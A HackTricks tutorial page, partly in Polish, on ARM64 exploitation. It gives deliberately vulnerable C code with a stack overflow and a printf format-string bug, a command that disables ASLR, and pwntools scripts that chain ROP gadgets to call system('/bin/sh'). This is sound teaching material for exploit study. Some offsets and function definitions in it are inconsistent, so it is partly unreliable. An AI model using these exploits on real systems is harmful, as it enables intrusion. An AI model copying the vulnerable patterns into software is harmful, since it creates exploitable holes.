Ret2lib + Printf leak - ARM64
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ret2lib - NX bypass with ROP (no ASLR)
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
Skompiluj bez canary:
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Znajdź offset - x30 offset
Tworząc pattern przy użyciu pattern create 200, używając go i sprawdzając offset poleceniem pattern search $x30 widzimy, że offset to 108 (0x6c).
.png)
Spoglądając na zdeasemblowaną funkcję main widzimy, że chcemy przeskoczyć bezpośrednio do instrukcji wywołującej printf, którego offset od miejsca, gdzie binarka jest załadowana, wynosi 0x860:
.png)
Znajdź system i ciąg /bin/sh
Ponieważ ASLR jest wyłączony, adresy będą zawsze takie same:
.png)
Znajdź Gadgets
Potrzebujemy, aby w x0 znajdował się adres do ciągu /bin/sh i wywołać system.
Używając rooper znaleziono interesujący gadget:
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
Ten gadget załaduje x0 z $sp + 0x18, a następnie załaduje adresy x29 i x30 z sp i skoczy do x30. Dzięki temu gadgetowi możemy kontrolować pierwszy argument i następnie skoczyć do system.
Exploit
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
p.close()
Ret2lib - NX, ASL & PIE bypass za pomocą printf leaks z stack
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
Skompiluj bez canary:
clang -o rop rop.c -fno-stack-protector -Wno-format-security
PIE i ASLR, ale bez canary
- Runda 1:
- Leak of PIE from stack
- Wykorzystaj bof, aby wrócić do main
- Runda 2:
- Leak of libc from the stack
- ROP: ret2system
Printf leaks
Ustawiając breakpoint przed wywołaniem printf, można zobaczyć, że na stacku znajdują się adresy powrotu do binary oraz adresy libc:
.png)
Próbując różnych offsetów, %21$p can leak a binary address (PIE bypass) and %25$p can leak a libc address:
.png)
Odejmując libc leaked address od bazowego adresu libc, można zobaczyć, że offset of the leaked address from the base is 0x49c40.
x30 offset
Zobacz poprzedni przykład, ponieważ bof jest taki sam.
Find Gadgets
Podobnie jak w poprzednim przykładzie, musimy mieć w x0 adres do łańcucha /bin/sh i wywołać system.
Używając rooper znaleziono kolejny interesujący gadget:
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
Ten gadget załaduje x0 z $sp + 0x78, a następnie załaduje adresy x29 i x30 ze sp i skoczy do x30. Dzięki temu gadgetowi możemy kontrolować pierwszy argument, a następnie skoczyć do system.
Exploit
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")
# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)
# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


